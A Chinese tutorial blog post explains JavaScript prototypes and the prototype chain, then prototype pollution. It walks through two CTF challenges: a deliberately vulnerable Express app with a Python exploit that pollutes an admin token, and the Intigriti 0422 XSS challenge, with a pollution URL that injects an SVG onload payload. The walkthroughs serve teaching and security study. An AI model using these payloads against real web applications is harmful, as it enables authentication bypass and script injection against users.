面向对象编程很重要的一个方面,就是对象的继承。A 对象通过继承 B 对象,就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。
大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现,本章介绍 JavaScript 的原型链继承。
虽然ES6题出了类的概念但是其底层实现还是通过原型链来完成的。
JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法可以定义在构造函数内部。
function Cat(name, color) {
this.name = name;
this.color = color;
}
var cat1 = new Cat('大毛', '白色');
console.log(cat1.name);
console.log(cat1.color);
上面代码中,Cat
函数是一个构造函数,函数内部定义了name
属性和color
属性,所有实例对象(上例是cat1
)都会生成这两个属性,即这两个属性会定义在实例对象上面。
通过构造函数为实例对象定义属性,虽然很方便,但是有一个缺点。同一个构造函数的多个实例之间,无法共享属性,从而造成对系统资源的浪费。也就是说,每新建一个对应的对象,这部分对象间可以共享的固有属性,必须得重新分配内存空间去存储。引发资源浪费。
function Cat(name, color) {
this.name = name;
this.color = color;
this.meow = function () {
console.log('喵喵');
};
}
var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');
cat1.meow === cat2.meow
结果:
上面代码中,cat1
和cat2
是同一个构造函数的两个实例,它们都具有meow
方法。由于meow
方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow
方法。这既没有必要,又浪费系统资源,因为所有meow
方法都是同样的行为,完全应该共享。
这个问题的解决方法,就是 JavaScript 的原型对象(prototype)。
即就是说,JS为了解决构造函数生成实例时,不同实例之间的共享属性方法问题提出了原型链的概念。
JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。(原型是一块共享内存区域,在此处可以存放实例之间的共享元素)
下面,先看怎么为对象指定原型。JavaScript 规定,每个函数都有一个prototype
属性,指向一个对象。
function f() {}
typeof f.prototype // "object"
我们发现,任何函数都有原型属性,其指向一个对象。
对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。
function Animal(name) {
this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';
//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'
上面代码中,构造函数Animal
的prototype
属性,就是实例对象cat1
和cat2
的原型对象。原型对象上添加一个color
属性,结果,实例对象都共享了该属性。
原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。
Animal.prototype.color = 'yellow';
cat1.color // "yellow"
cat2.color // "yellow"
上面代码中,原型对象的color
属性的值变为yellow
,两个实例对象的color
属性立刻跟着变了。这是因为实例对象其实没有color
属性,都是读取原型对象的color
属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
cat1.color = 'black';
cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
上面代码中,实例对象cat1
的color
属性改为black
,就使得它不再去原型对象读取color
属性,后者的值依然为yellow
。
总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。
再比如我们在构造函数的原型上定义一个walk方法:
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
此方法可以在每一个实例中调用:
function Animal(name) {
this.name = name;
}
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//实例中可以调用对应的方法
cat1.walk();
car2.walk();
到这里,我们明白了原型的作用其实就是为构造函数创建的所有实例提供一个共享内存空间,在这个空间内存放的属性方法,每一个新建的实例都可以调用。并且新建的实例允许拥有自己的新实现(修改默认的属性,也就是自定义属性)。
JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……
因为构造函数的原型属性指向的就是一个对象,所以这意味着什么?当然是作为对象的原型,也拥有自己的构造函数(object),且其原型属性且指向一个原型。
如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype
,即Object
构造函数的prototype
属性。也就是说,所有对象都继承了Object.prototype
的属性。这就是所有对象都有valueOf
和toString
方法的原因,因为这是从Object.prototype
继承的。
这里的object
是整个JS的基点,类似于宇宙的奇点,也就是说,作为object
它也是构造函数,所以肯定也有原型属性。而这个原型上面定义的就有tostring和valueof方法。所以,由它创建的所有JS函数也好、实例也罢。均可以访问这两个函数。
那么,Object.prototype
对象有没有它的原型呢?回答是Object.prototype
的原型是null
。null
没有任何属性和方法,也没有自己的原型。因此,原型链的尽头就是null
。
Object.getPrototypeOf(Object.prototype)
// null
上面代码表示,Object.prototype
对象的原型是null
,由于null
没有任何属性,所以原型链到此为止。Object.getPrototypeOf
方法返回参数对象的原型。
读取对象的某个属性时,JavaScript 引擎先寻找对象本身的属性,如果找不到,就到它的原型去找,如果还是找不到,就到原型的原型去找。如果直到最顶层的Object.prototype
还是找不到,则返回undefined
。如果对象自身和它的原型,都定义了一个同名属性,那么优先读取对象自身的属性,这叫做“覆盖”(overriding)。
注意,一级级向上,在整个原型链上寻找某个属性,对性能是有影响的。所寻找的属性在越上层的原型对象,对性能的影响越大。如果寻找某个不存在的属性,将会遍历整个原型链。
举例来说,如果让构造函数的prototype
属性指向一个数组,就意味着实例对象可以调用数组方法。
var MyArray = function () {};
MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;
var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
上面代码中,mine
是构造函数MyArray
的实例对象,由于MyArray.prototype
指向一个数组实例,使得mine
可以调用数组方法(这些方法定义在数组实例的prototype
对象上面)。最后那行instanceof
表达式,用来比较一个对象是否为某个构造函数的实例,结果就是证明mine
为Array
的实例。
constructor
属性prototype
对象有一个constructor
属性,默认指向prototype
对象所在的构造函数。
function P() {}
P.prototype.constructor === P // true
由于constructor
属性定义在prototype
对象上面,意味着可以被所有实例对象继承。
function P() {}
var p = new P();
p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
上面代码中,p
是构造函数P
的实例对象,但是p
自身没有constructor
属性,该属性其实是读取原型链上面的P.prototype.constructor
属性。
constructor
属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。
function F() {};
var f = new F();
f.constructor === F // true
f.constructor === RegExp // false
上面代码中,constructor
属性确定了实例对象f
的构造函数是F
,而不是RegExp
。
另一方面,有了constructor
属性,就可以从一个实例对象新建另一个实例。
function Constr() {}
var x = new Constr();
var y = new x.constructor();
y instanceof Constr // true
上面代码中,x
是构造函数Constr
的实例,可以从x.constructor
间接调用构造函数。这使得在实例方法中,调用自身的构造函数成为可能。
Constr.prototype.createCopy = function () {
return new this.constructor();
};
上面代码中,createCopy
方法调用构造函数,新建另一个实例。
constructor
属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor
属性,防止引用的时候出错。
错误实例:
function Person(name) {
this.name = name;
}
Person.prototype.constructor === Person // true
//修改原型属性的指向
Person.prototype = {
method: function () {}
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
上面代码中,构造函数Person
的原型对象改掉了,但是没有修改constructor
属性,导致这个属性不再指向Person
。由于Person
的新原型是一个普通对象,而普通对象的constructor
属性指向Object
构造函数,导致Person.prototype.constructor
变成了Object
。
// 坏的写法
C.prototype = {
method1: function (...) { ... },
// ...
};
// 好的写法
C.prototype = {
constructor: C,
method1: function (...) { ... },
// ...
};
// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) { ... };
上面代码中,要么将constructor
属性重新指向原来的构造函数,要么只在原型对象上添加方法,这样可以保证instanceof
运算符不会失真。
如果不能确定constructor
属性是什么函数,还有一个办法:通过name
属性,从实例得到构造函数的名称。
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"
到这里,我们捋清楚了constructor属性的作用,其在是在原型中默认自带的一个属性,值为当前原型的拥有者(指向当前原型所属的构造函数)。可以实现通过实例调用构造函数,做一些实例的拷贝功能。要注意的一点是,constructor属性会自动修改数值,当我们人为的修改了原型属性的指向时,还想用它访问构造函数的话,一定要记得将constructor的数值进行修改,不过更多的建议是不要对原型对象进行指向修改。可以用添加方法的形式在不破坏原型结构的情况下实现功能。
当然利用这个属性我们可以实现通过实例访问原型对象:
<script>
function Person(name) {
this.name = name;
}
let per = new Person('batman');
console.log(Person.prototype);
console.log(per.constructor.prototype);
</script>
prototype
和__proto__
通过上面的学习,我们知道了prototype原型作为构造函数的属性,其指向一个对象。我们可以给这个对象添加一些属性、方法。这些添加在原型上的属性方法,可以被实例对象无条件继承。当然数据是只有一份的。那么如果我们想要在实例中直接访问构造函数的原型应该怎么样访问呢?
这样?
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.prototype);
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
到这里,我们可以看到其实__proto__
的作用就是让实例对象可以访问到自己构造函数的原型对象。也就是说,一直访问我们可以看到原型链:
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
console.log(foo1.__proto__.__proto__);
console.log(foo1.__proto__.__proto__.__proto__);
看到了吧,真的通过三次原型访问我们找到了null。因为我们的构造函数上一级就是object
,所以上走两级,就是object
的原型,而object
的原型又恰好定义为了null
。所以我们可以看到这样的现象。
我们通过一个简单的例子来看一看,原型链污染的现象:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)
也就是说,原型链污染的原因就是我们通过谋克可访问的对象,通过__proto__
属性,对其构造函数的原型对象进行修改。以此来影响后续此构造函数所创建的每一个实例的对应属性。前提是这个实例没有对该属性进行自定义修改。
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
//循环取出source中的key
for (let key in source) {
//判断key是否在源目均存在,存在就递归调用merge
if (key in source && key in target) {
merge(target[key], source[key])
} else {
//不存在直接让源覆盖目
target[key] = source[key]
}
}
}
总结来说,这个函数的作用就是,进行对象之间的属性传递,源对象的属性会完全覆盖掉目的对象。目的对象没有的,直接赋值。目的对象有的,递归调用后,还是会将目的对像的相应属性进行覆盖。
我们尝试进行一次污染:
//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
结果:
这里并没有像我们推理的那样,污染到原型链。我们采用断点分析,跟进分析:
直接没有取出__proto__
键,而是忽略掉了。仅仅取出了键a和键b。
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
修改代码:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可以看到,已经取出来__proto__
作为键名了,自然最终可以实现原型链污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
这道题的灵感来自hackit2018,后端启动了一个nodejs程序,提供两个接口api和admin。用户提交参数,利用原型链污染实现非法修改登录信息,从而登陆admin。
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。
将上面的源码放到路径下,解决依赖之后就可以运行。我们先来看它的漏洞点:
//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
//用户提交参数的api接口
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
//漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。
//污染admintokrn为已知信息
matrix[client.row][client.col] = client.data;
先进行本地测试:
import requests
import json
url1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"batman"}
res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
challenge-0422是世界著名的XSS挑战网站其中的一期原型链污染挑战。关于这个挑战几乎每一个月都会有一次。挑战成功的人可以获得一些奖品。当然难度也不低。大家有兴趣的可以去参考学习。
0422的意思是22年4月份的题目。在对应URL进行更改即可。
我们来看这道题:
页面上给了一个模拟windows的程序,显然点击完毕后没有任何反应。我们需要找到对应的JS源码。我们看到源码内部有一个iframe标签。我们尝试进入:
view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html
这样一来的话,我们就可以开展对于其源码的初步分析了:罗列出其主要的功能代码,建议各位先揣摩揣摩。下面的内容可能有些难以理解
//main函数的位置
function main() {
//利用qs接收url中?以及以后的内容,并对其进行
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
//在JS中["string"]的写法,表明这里是一个数组赋值
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
//第一次merge的调用位置
merge(appConfig, qs.config)
//这里把定制按钮打开
appConfig["customMode"] = true
}
//又开始创建对象devsettings
let devSettings = Object.create(null)
//一系列的赋值,root接收到的是标签对象
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
//调用了这里的checkhost函数作为依据,进入第二次调用merge
if (checkHost()) {
//键值判断 测试主机端口标识位 置1
devSettings["isTestHostOrPort"] = true
//调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去
merge(devSettings, qs.settings)
}
//判断是测试主机或者debug模式就打印两个对象appConfig和devSettings
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
//根据custommode的值对devsettings.root采取不同的内容挂载
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {
view: function () {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"],
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}
})
}
//将devSettings.root插入到body里面去
document.body.appendChild(devSettings.root)
}
//获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1
//返回true
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
//判断是否非本源?
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
//进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
//从源中获取键值
for (let key in source) {
//遇到了包含敏感字符的键直接跳出循环一次予以忽略
if (protectedKeys.includes(key)) continue
//迭代进行merge的赋值
//判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
//过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
main()
})()
上面的代码分析完了我们就要开始着手解题了。先找特征函数merge函数。总共出现了两次,第一次触发是无条件的,对appconfig
做了修改。目前看来,没有啥大用。第二次呢,是有条件的调用,调用前必须有一个校验函数的返回值为1。通过上面的分析。
作为checkhost函数,其判断依据就是请求的主机名和端口号。目前看来,也是没有任何办法让其检测通过。
再看第二个merge的作用,第二个merge修改覆盖了devSettings
这个参数,显然,在main函数结尾,使用了document.body.appendChild(devSettings.root)
这让人眼前一亮的插入行为。
大致的思路出来了,我们得先想办法干扰checkhost函数,才有望对插入的devconfigs.root
进行污染。我们此时再来看看这个函数:
function checkHost() {
//获取了参数
const temp = location.host.split(':')
//用了temp数组进行参数的取出
const hostname = temp[0]
//继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。
//那就默认443咯
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
回想一下原型链污染的基本概念,使用实例访问原型对象并创建相应属性,对新创建的没有该属性的实例进行污染。这里的temp有没有.1
这个属性?没有吧,那我们就构造如下参数进行污染:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。
Q1:为什么不用
__proto__
访问原型对象?
A1:在进行merge的时候,作者坏坏的过滤了这个参数,遇到这个字符直接会跳出当前循环,忽略它的存在
Q2:控制台里为什么有多处了两个对象?
A2:因为在这里,有判断输出的代码
//判断是测试主机或者debug模式就打印两个对象
appConfig和devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) {
console.log(‘appConfig’, appConfig)
console.log(‘devSettings’, devSettings)
}
接下来我们的目标就是污染setting参数,想办法插入完整的JS代码完成XSS:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
后面setting
的参数是一级一级找寻插入点得到的。比如这样:
最终弹窗效果:
注意,这个弹窗又是只能在firefox之外的浏览器上生效。不过无伤大雅,大家能大致理解这个思路就行。通过二次原型链污染,最终插入的我们的JS代码实现了一个XSS弹窗。
首先,原型对象的提出是为了解决JS代码中,使用构造函数创建多个有重复属性方法实例时的引发的资源浪费问题。通过给构造函数赋予prototype
属性(该指向一个具有共享功能的原型对象),所有写到原型对象中的属性方法都默认被实例继承。当然这并不妨碍实例自定义属性和方法。这就是原型的工作原理。
作为原型对象实例,自然有自己的构造函数(object),故object.prototype
上指定的方法会被所有JS函数拥有,也就是我们常说的任何对象都有tostring
方法和valueof
方法。作为始祖protottpe
,始祖原型的它,它的构造函数不存在,故想要访问它的原型对象时,只会返回null。
但是也正是这一机制的存在,构成了原型链,即就是说,任意一个对象访问其不存在的方法属性时,会先找自己的原型对象,自己的原型对象没有时就会再找原型对象的原型对象,循环往复,直到找到object
的原型对象的原型对象返回了null
才停止寻找。自然,原型链过长会影响性能。
那么,所谓的原型链污染,其原理就是,通过对于某一实例的原型对象属性的修改,让与其同构造函数创建的实例在后续程序运行中,调用被修改过的属性。从而达到影响程序执行进程,实现恶意XSS或其他恶意行为的攻击。其对多见于merge这样的赋值函数。
那么在merge函数中,要使用原型链污染就必须将原型链插入到目标里面去,为了解决merge运行时默认不识别__proto__
的问题,我们会对传入merge的参数进行json化处理。依次达到效果,这在hackit2018的payload中有所体现。
那么,在通过实例访问原型对象的过程中,我们不仅仅可以使用__proto__
还可以使用constructor.prototype
访问。同样可以达到效果,这在challenge-0422
挑战中也是作为绕过方法使用。
总的来说,原型链污染这个话题还是有很多更加深入的内容值得探究,本文也只是浅尝辄止。诸位要是有兴趣的话可以再深入探究。随着前端技术能实现的功能日益加强,其出现的安全问题同样不容小视。
路还很长,特别是对于代码的基础功底。还有很长一段路要走,共勉!
在补充一句,原型链污染的预防个人觉得只能从代码书写角度去进行防范,任何会进入到merge的参数都进行过滤。如此一来,可以阻挡一部分原型链污染攻击。